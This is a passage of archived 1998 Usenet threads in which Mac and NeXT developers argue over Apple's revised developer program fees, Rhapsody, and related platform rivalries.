doesn't matter why someone signs on to the program: every sign-on is a win
for Apple, every hardware sale, discounted or not, is a win for Apple,
every developer, end-user, or hobbyist who gets on the Rhapsody bandwagon
is a win for Apple.
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Date: 9 Apr 1998 12:42:27 -0400
Organization: Interport Communications Corp.
Message-ID: <6gitpj$csn$1@interport.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <joe.ragosta-0904980642200001@elk33.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: Or hobbyist pseudo developers--people who never wrote an app or never
: planned to, but paid the $250 for access to hardware and software
: discounts.
Apple should be ACTIVELY ENCOURAGING these people. Some of them might
grow up to be software developers . . . or management . . . or sysadmins .
. . or end users . . . or, or, or . . .
--
Ben
<Just Another System Administrator>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Apple's Announcement Misleading. WAS :Apple developer program
Date: Thu, 09 Apr 1998 09:52:02 -0700
Organization: Graves Associates
Message-ID: <gmgraves-0904980952020001@sf-pm5-27-91.dialup.slip.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net>
I spoke, This AM, with someone from Apple Developer Support.
He said that the E-mail that all developer's received about
Apple's changes in their Dev program (and the source of Ric Ford's
Info), is misleading. The actual impetus, apparently, for these
changes, is to IMPROVE accessability to these resources, not to
make them more expensive.
While notoutlining what the actual changes are, he said that at the low
end of the tier, Apple was trying to divorce the dev materials from the
support, in order to make those materials cheaper. He said that it is now
possible for small developers to get the seeding materials and the monthly
mailings at much less cost than the $250 minimum under the old program.
Unfortunately, the Apple E-mail sent to all of its developers does not put it
this way. According to my source within Apple Developer support. the E-mail
was "poorly written......." We shall see.
George Graves
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 10 Apr 1998 21:08:31 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gm1of$7j4$6@anvil.BLaCKSMITH.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com> <19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
bl003@dial.oleane.com (Benoit Leraillez) wrote:
> Jacques Foucry <Le_Jax@iName.com> wrote:
>>> Charles Swiger <chuck-nospam@blacksmith.com> wrote (écrivait) :
>>> If you're going to WWDC, you should have a chance to play around with
>>> Rhapsody and your product.
>>
>> You know what ?
>> From Europe, WWDC is not a little and inexpensive trip... :-(((
>> And Benoit come from France...
>
> Thanks Jacques ;-)
>
> I'll add another little thing the guys from the States tend to forget:
>
> - We (non-english speaking third-world countries) don't have markets as
> large as you (World Company) have, so we don't have as many clients and
> we run on a tight budget.
And I'd always thought la belle France was a first world country...?
Anyway, your business model, potential market size, and actual client base are your
concern. If a one-time cost of $250 makes a difference, you were obviously going with a
marginal strategy.
Rhapsody isn't a deployable target platform right now. Realisticly, you aren't going to
have a target market to sell Rhapsody to until CR1 or later. Why do you need access to
early beta versions if you can't justify the expense and requisite hardware resources?
> - We, however, pay hardware at prices you couldn't imagine. The French
> developers payed their machines at a higher price than a standard
> American customer even with the hardware discount.
Okay but your costs are your concern. I've heard that some Frenchmen are suggesting
doing business across the Channel in England....
> - A 64K leased line costs $1,000 a month. And local phone calls to your
> ISP is'nt free.
In the USA, local phone calls aren't free either. A 64K fractional T1 is roughly half of
your price, though-- about $500.
> Costs are higher, the market is smaller, we don't need Apple stabbing us
> in the back as a final touch.
How is Apple stabbing you in the back?
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Koo <weeleng@amind.com>
Newsgroups: comp.sys.next.software,comp.sys.next.advocacy
Subject: Rhapsody Computer Telephony S/W H/W?
Date: Fri, 10 Apr 1998 00:47:46 +0800
Organization: Subscriber, Pacific Internet, Singapore
Message-ID: <352CFBB1.AB56B3C6@amind.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hi,
I am searching for Rhapsody/Yellow Box Computer Telephony software,
hardware.
Any pointer?
Regards,
Koo
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 21:27:31 GMT
Organization: Digital Fix Development
Message-ID: <6gm2s3$213$1@news.digifix.com>
References: <joe.ragosta-1004980619170001@elk81.dol.net> <B153C824-106D1@206.165.43.115>
In-Reply-To: <B153C824-106D1@206.165.43.115>
On 04/10/98, "Lawson English" wrote:
>Joe Ragosta <joe.ragosta@dol.net> said:
>
>> > Yep. Abandoning superior technology for nothing in the pipeline
(no
>> > upgrades to newtonOS, GX, CD, OpenDoc, etc will ever be done,
meaning
>> that
>> > any developer or user who bought into those is now orphaned) is
always
>> > destructive.
>>
>> Right. I'm still chuckling over all your statements about GX's
>superiority
>> over DPS which have been consistently wrong.
>
>No, you're chuckling over DPS-lover's propoganda. Remember that the
only
>feedback about DPS that you are getting has been from people that use
DPS,
>not GX. Also, the people in charge of graphics at Apple *invented*
DPS, not
>GX, so they have a certain level of bias, also.
Horse-shit.
You've never used DPS. I waited YEARS for Apple to release
GX, and then abandoned the platform when it didn't materialize.
The people in charge of Rhapsody graphics at Apple (Mike)
KNOWS GRAPHICS.
Thats all that is important to getting a great graphics
environment.
I'll bet we'll get it in a much more timely fashion too.
>
>
>And the only difference between "hurt Apple" and "destroy Apple" is
>time-frame.
>
>"Hurt Apple" often enough and it is destroyed.
>
Well, you are certainly hell-bend on destroying it.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 10 Apr 1998 21:19:10 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gm2ce$7j4$7@anvil.BLaCKSMITH.com>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr> <9APR98.16105101@fredjr.pfc.mit.edu>
FRIDBERG@PSFC.MIT.EDU wrote:
[ ... ]
> And let's not forget such things as NewsWatcher (which probably half of
> people who read this NG are using, or NSCA Telnet (which I am using) or
> bunch of other internet software which made Mac so attractive to use for
> Internet access and allowed us to have pretty high market share on
> internet.
I've got no gripes about the software you've listed, but don't even bother
trying to promote the MacOS as a superior Internet platform.
People in the NeXT community were doing TCP/IP on a real Internet system
(defined as "Unix", IMNSHO), creating what people regard as the modern
Internet (defined by such things as the WWW, MIME content typing, the URL
abstraction, etc) while Mac users were upgrading to AppleTalk phase 2 and
OpenTransport wasn't even dreamed of.
Heck, you can't even use a Mac to host a news server; the filesystem has too
many limitations and wastes too much space due to internal fragmentation.
> Mister MMalcolm Crawford prbably never heard of such programs as
> Disinfectant of Internet Config either. Or maybe he just afraid that all
> those freeware applications going to drive him out of business?
Doubtful.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: veal@utk.edu (David Veal)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Supersedes: <6gm385$el3$1@gaia.ns.utk.edu>
Date: 10 Apr 1998 22:03:32 GMT
Organization: University of Tennessee, Knoxville
Message-ID: <6gm4vk$f7b$4@gaia.ns.utk.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>
Originator: veal@utk.edu (David Veal)
In article <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>,
Rex Riley <rr6013@yahoo.com> wrote:
>http://www.mercurynews.com/business/center/stanford09.htm
>
>Stanford.edu is the new PosterChild for Apple today in the wake of a
>disaster which cost Windows users dearly. Mac users and Unix mainframes
>emerged unscathed from a network "upgrade" which went arwy. Lost in the
>maintenance were Phd. dissertations, databases, files and research notes
>covering _years_ of work. Stanford Univ. School of Business, Windows-based
>curriculum, has "tarnished" the institution's reputation and "erased"
>years of academic work. The disaster affects 10 - 15 faculty and doctoral
>candidates directly posing a "serious blemish" for the School of Business.
I guess I'm missing soemthing after having read the article.
The Windows PCs used a network server which lost data. I
didn't see any reference in the article to what software was running on
the servers.
From reading the articles, the Apples didn't suffer data loss not
because there was anything particularly good about Apples or bad about
PCs, but they weren't using the servers the PC users were and it was the
server which failed. It may be a "serious blemish" for the School of
Business, but all they're saying is the Macs did well because they weren't
relying on that particular machine. They could as easily have been
because most major network software provides access to Macs.
--
David Veal veal@utk.edu
WYSIWYG - What You See Is What You Get
WYGIWYD - What You Get Is What You Deserve
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 15:13:54 -0700
Organization: Digital Universe Corporation
Message-ID: <352E99A2.3E7E35FA@alum.mit.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul>
Mime-Version: 1.0
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macghod wrote:
> As far as I can tell it adds nothing and is a 2x increase!! Why to support
> development apple :)
I don't know what everyone is bitching about? I was just upgraded (for free) from the $2,500/year Enterprise Alliance program to the
$3,500/year Premium Developer program. I get two additional technical support calls, and licenses to every single piece of
commercial software Apple Enterprise ships. They're also throwing in a free full pass to the Apple World Wide Developer Conference
(over $1,000 value). Sounds like a good deal to me.
Eric
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 15:24:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B153EB42-13174@206.165.43.22>
References: <6gm2s3$213$1@news.digifix.com>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
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Scott Anguish <sanguish@digifix.com> said:
Lawson English <english@primenet.com> said:
> >
> >No, you're chuckling over DPS-lover's propoganda. Remember that the
> only
> >feedback about DPS that you are getting has been from people that use
> DPS,
> >not GX. Also, the people in charge of graphics at Apple *invented*
> DPS, not
> >GX, so they have a certain level of bias, also.
>
> Horse-shit.
>
I presume that you justify your language below...
> You've never used DPS. I waited YEARS for Apple to release
> GX, and then abandoned the platform when it didn't materialize.
>
Nope. No justification here.
> The people in charge of Rhapsody graphics at Apple (Mike)
> KNOWS GRAPHICS.
>
Nope. No justification here.
> Thats all that is important to getting a great graphics
> environment.
>
Nope. No justification here.
> I'll bet we'll get it in a much more timely fashion too.
>
>
Nope. No justification here.
> >
> >
> >And the only difference between "hurt Apple" and "destroy Apple" is
> >time-frame.
> >
> >"Hurt Apple" often enough and it is destroyed.
> >
>
> Well, you are certainly hell-bend on destroying it.
>
Because I dare to criticize some that NeXT invented?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 9 Apr 1998 16:44:43 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gittr$6j$4@anvil.BLaCKSMITH.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com>
bl003@dial.oleane.com (Benoit Leraillez) wrote:
> Charles Swiger <chuck-nospam@blacksmith.com> wrote:
>> However, Apple does not want to spend the time (== money) and resources
>> to provide extensive support for DR1 to individual people who just want
>> to play around.
>
> I dont need support from Apple and I understand that asking money in
> exchange of info (read debugging help) is normal.
Okay, fair enough.
> I need the seeds to make sure my product will run when my clients
> receive the new OS version. And I dont have an extra $250 to throw away.
Either it's worth it to you to be seeded, in which case you're not throwing
money away...or it's not worth it to you, in which case you can decide not to
spend the money.
Realisticly, customers aren't going to be deploying the new OS until CR1 or
Unified, so you can look into doing portability testing with DR2. If you're
going to WWDC, you should have a chance to play around with Rhapsody and your
product.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 04:44:01 -0500
Organization: University of Chicago -- BSDIS/CRT
Message-ID: <j-jahnke-1104980444020001@192.168.1.3>
References: <6glos8$oop$17@ironhorse.plsys.co.uk> <B154522B-157593@207.217.155.30>
In article <B154522B-157593@207.217.155.30>, "Brad Hutchings"
<brad@hutchings-software.com> wrote:
> mmalc quoted Jordan J. Dea-Mattson
>
> >Apple has not been cashing anyone's checks on new enrollments or renewals
> >for over six months. Everyone who has had to renew or join the program in
> >the last six months has gotten it gratias.
>
> That statement IS NOT true. I know of one developer whose credit card was
> charged in December for new Associates membership. I'd be more than happy
> to put ADR reps in touch with that developer. Look, it's only $250, but if
> the "Apple response" to developers who don't like this move is "RTFP" or
> "deal with it" or "get a clue", then incorrect assertions like the above
> are going to be criticized.
>
> NOTE: I'm not accusing mmalc or Jordan J. Dea-Mattson of lying. I'm just
> saying that the statement quoted above is not true.
I am one of those guys, my renewal date is "tada" 12/98.
Jer,
From: edremy@chem1.usc.edu (Eric Remy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 15:36:02 -0700
Organization: USC Chemistry
Message-ID: <edremy-ya02408000R1004981536020001@nnrp.usc.edu>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr> <9APR98.16105101@fredjr.pfc.mit.edu> <6gm2ce$7j4$7@anvil.BLaCKSMITH.com>
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In article <6gm2ce$7j4$7@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
> People in the NeXT community were doing TCP/IP on a real Internet system
> (defined as "Unix", IMNSHO),
And why is Unix somehow better than anything else? ArpaNet certainly
didn't start on Unix machines, so you can't claim priority.
creating what people regard as the modern
> Internet (defined by such things as the WWW, MIME content typing, the URL
> abstraction, etc) while Mac users were upgrading to AppleTalk phase 2 and
> OpenTransport wasn't even dreamed of.
And TOPS-10 and -20 were running the ArpaNet when Unix was a AT&T hack.
>
> Heck, you can't even use a Mac to host a news server; the filesystem has too
> many limitations and wastes too much space due to internal fragmentation.
And what is
http://www.stairways.com/rumormill/index.html ? You most certainly can
host a news server on a Mac.
HFS+ doesn't have most of the old limitations on either file size or number
of files per volume, so that's no longer a problem.
Would I want to do it? Probably not. I'd get a Linux machine instead.
--
Eric R. edremy@chem1.usc.edu
Director of Instructional Computing, USC Chemistry
"See, I told you they'd listen to Reason"- Fisheye, _Snow Crash_
If you think I speak for USC, see your doctor now.
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 00:43:19 +0200
Organization: Guest of OLEANE
Message-ID: <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104> <6gloht$oop$16@ironhorse.plsys.co.uk>
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mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> Apple has just announced WebObjects is available to academics for $99,
> including deployment. Given that the latter costs $25,000 for the commercial
> sector, I think that's pretty generous, and augurs well. It even gives you
> an excellent platform on which to learn more about Rhapsody development.
1 WebAbject is 99$ for administrative use only..
2 Rhapsody does'nt exist until it's retail.
Benoît Leraillez
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 00:49:28 +0200
Organization: Guest of OLEANE
Message-ID: <1d7aq1o.1uzqa5wa6rualN@dialup-202.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu> <6gio5m$oop$11@ironhorse.plsys.co.uk> <ericb-0904981637520001@132.236.171.104> <6gjgm5$bfj$1@news01.deltanet.com> <6glos8$oop$17@ironhorse.plsys.co.uk>
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mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> Jordan finishes by asking "Is anyone mentioning this fact?"
>
> The answer is clearly "No." People would rather yell at Apple and bitch
> about something they haven't learned enough about.
And the HardWare purchase program?
>"Is anyone mentioning this fact?"
> The answer is clearly "No".
Benoît Leraillez
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 00:43:17 +0200
Organization: Guest of OLEANE
Message-ID: <1d7aoka.1si5faf1wh3e0wN@dialup-202.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr> <9APR98.16105101@fredjr.pfc.mit.edu> <6glo57$oop$14@ironhorse.plsys.co.uk>
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mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> No, I'm not afraid these will drive us out of business at all. You're
> displaying an astonishing lack of intelligence (in the broadest sense of the
> word) by suggesting this. I welcome freeware applications, just like anyone
> else. For your information, we have actually distributed a couple of
> freeware applications for Rhapsody ourselves, and, for your benefit,
> sponsored the development of another (OpenUp -- cf http://www.stepwise.com/ )
Dear Mmmmmalcom,
You are displaying an astonishing lack of vision (in the smallest sense
of the word, ie the two little round things separated by a protuberance
called the nose). You think that Apple with a few dozen million users
around the world, and a few dozen thousand developers can follow the
market plan of a guru from an unknown company with a couple of
developers (you and what's his name again?) and as many users. NeXt
never appeared in any media chart representing OS use. Well it did but
it was included in the "Others" category, you know the little slice for
the 1%).
NeXt was a great, but dead, OS. SJ is trying to do with MacOs what he
has been able with his previouX OS: nothing significant.
Benoît Leraillez
PS Boy I wish Apple had bought Big Blue. At least OS/2 has a real
installed base. And OS400 is a great server running on a PowerPC on
probably more machines than SJ achieved with previouX Os. What's more
I'd be laughing to tears knowing Apple produced Intel's competitors.
From: bl003@dial.oleane.com (Benoit Leraillez)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sat, 11 Apr 1998 00:43:16 +0200
Organization: Guest of OLEANE
Message-ID: <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com> <19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com> <6gm1of$7j4$6@anvil.BLaCKSMITH.com>
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Charles Swiger <chuck-nospam@blacksmith.com> wrote:
> Rhapsody isn't a deployable target platform right now. Realisticly, you
> aren't going to have a target market to sell Rhapsody to until CR1 or
> later. Why do you need access to early beta versions if you can't
> justify the expense and requisite hardware resources?
I don't care about Rhapsody, I care about MacOs X.Y.Z and the price
doubled. I'm deeply interested in the planned MacOs Lite or whatever it
will be.
We lost so much money and time with OpenDoc that we'll care about
Rhapsody when it ships. Sure I'll to take a look at it on my spare time
but we won't put a drop of sweat on VaporWare (aka the next neXt) until
it is sold, installed, running on machines, consumer machines. I'm not
into DreamOs, the coming revolutionary OS with a potentially
hypothetical market. I'll think about it when it's a reality with at
least ten times more users than Jobs PreviouX OS.
I want to receive, use and test my product on the coming MacOs before my
users, does that sound illegitimate? I want to shave a few bucks off the
hardware so our developpers can use decent/recent machines and three and
a half grands instead of $250 is what I'd call XXXXXXX XX.
I said:
> > I've heard that at least one large French firm has dropped Apple
> > Developer Program. Reason is at $250 they had all the material they
> > needed (seeds and *all* SDKs) and buying hardware cheaper helped the
> > decision to support the platform (the 250 were payed back with the
> > hardware discount). Now I'm afraid their software will follow loosely
> > the Mac Platform, if at all. A lot of people used the HardWare discount
> > as justification to support the platform, at $3,500 a pop it's going
> > down the drain.
You didn't quote/reply. Why? Are you afraid that Apple buying-out your
neXtOs may, in the end, be your doom (a few years later, but doom
still) ?
Benoît Leraillez
Who thanks God for having lost time before starting to port his product
to the Newton.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 10 Apr 1998 19:04:55 -0400
Organization: Virginia Tech, Blacksburg, Virginia
Message-ID: <6gm8in$et4$1@crib.bevc.blacksburg.va.us>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104> <6gloht$oop$16@ironhorse.plsys.co.uk>
In article <6gloht$oop$16@ironhorse.plsys.co.uk>, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> Apple has just announced WebObjects is available to academics for $99,
> including deployment.
Is this announcement online anywhere? I want to read the details.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.programmer
Subject: Re: first day with OS
Date: Fri, 10 Apr 1998 16:13:09 +0100
Organization: EarthLink Network, Inc.
Message-ID: <352E3703.767B@earthlink.net>
References: <01bc462d$87ca8380$40f0bfa8@davidsul> <6gl0ja$30u$1@pump1.york.ac.uk>
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-bat. wrote:
> > 2) The mouse really annoys me. It reminds me of when I first used windows
> > 3.1, I was like god I hate how jerky the mousee is. The mouse movement in
> > OS 4.2 seems like how it was in windows 3.1, windows 95 definitely seems
> > much better.
>
> Hmmm... using a serial mouse ? If so get a PS/2 or Bus mouse.
There was a newer driver that should eliminate the jerkiness. But PS/2
or Bus would be better.
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 16:34:23 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-1004981634230001@dante.eng.uci.edu>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr> <9APR98.16105101@fredjr.pfc.mit.edu> <6gm2ce$7j4$7@anvil.BLaCKSMITH.com>
In article <6gm2ce$7j4$7@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
>People in the NeXT community were doing TCP/IP on a real Internet system
>(defined as "Unix", IMNSHO), creating what people regard as the modern
>Internet (defined by such things as the WWW, MIME content typing, the URL
>abstraction, etc) while Mac users were upgrading to AppleTalk phase 2 and
>OpenTransport wasn't even dreamed of.
Actually, OT was started in '87 or '88 IIRC. Doesn't say much for the old
Apple's ability to get a product out in a timely fashion...
>Heck, you can't even use a Mac to host a news server; the filesystem has too
>many limitations and wastes too much space due to internal fragmentation.
Well, there is NewsStand and Peter Lewis's - not really up to the task of
a unix-based service, but otherwise what you say is true.
-Bob Cassidy
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 11 Apr 1998 02:55:24 -0400
Organization: Virginia Tech, Blacksburg, Virginia
Message-ID: <6gn44s$fkr$1@crib.bevc.blacksburg.va.us>
References: <199801202218001457904@ppp8.hol.fr> <6ggo0q$47c$1@interport.net> <6gm8eo$hom$2@quasar.dimensional.com> <352F12E2.8CEA7F4A@cisco.com>
In article <352F12E2.8CEA7F4A@cisco.com>, friedman@cisco.com wrote:
> Kenneth R. Kinder wrote:
> > Modems. Modulization of digital data into an analog form (analog audio,
> > even!) and then back again is udderly insane!
> I see, you mean "modulation". I thought you were criticizing the
> modularity (extensibility) of PPP.
Yeah, the spelling skills of Kenneth R. Kinder are udderly amazing.
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 98 17:01:41 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1540102-263C7@207.217.155.30>
References: <352E99A2.3E7E35FA@alum.mit.edu>
Mime-Version: 1.0
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nntp://news.earthlink.net/comp.sys.mac.oop.powerplant,
nntp://news.earthlink.net/comp.sys.mac.programmer.codewarrior,
nntp://news.earthlink.net/comp.sys.next.advocacy,
nntp://news.earthlink.net/comp.sys.next.programmer
Eric Hermanson wrote:
>I don't know what everyone is bitching about? I was just upgraded (for
free)
>from the $2,500/year Enterprise Alliance program to the
>$3,500/year Premium Developer program. I get two additional technical
support
>calls, and licenses to every single piece of
>commercial software Apple Enterprise ships. They're also throwing in a
free
>full pass to the Apple World Wide Developer Conference
>(over $1,000 value). Sounds like a good deal to me.
You are witnessing Classic Apple: Divide and Conquer. Clobber one
constituency while quoting another (see today's Apple reply at MacCentral).
Microsoft, on the other hand, is oft criticized for its assimilation
practices. Scoreboard anyone?
When your consituency (especially your customers/users, that is the worst)
are put down and demeaned by Mr. Interim CEO, and when you're told that
you're "out" despite the fact that more people are using your software than
the vapor Mr. Interim CEO wants to peddle (Newton vs. MacLite comes to
mind, although other examples hit closer to home), you'll know what its
like to be in a clobbered constituency. And given the number of clobbered
constituencies in recent times, you'll understand how otherwise rational
developers can blow gaskets en masse over changes to the developer program.
Developer Relations is more than just a set of programs. It's a way of
doing business, and it's not clear that Apple Management understands that.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: "Lawson English" <english@primenet.com>
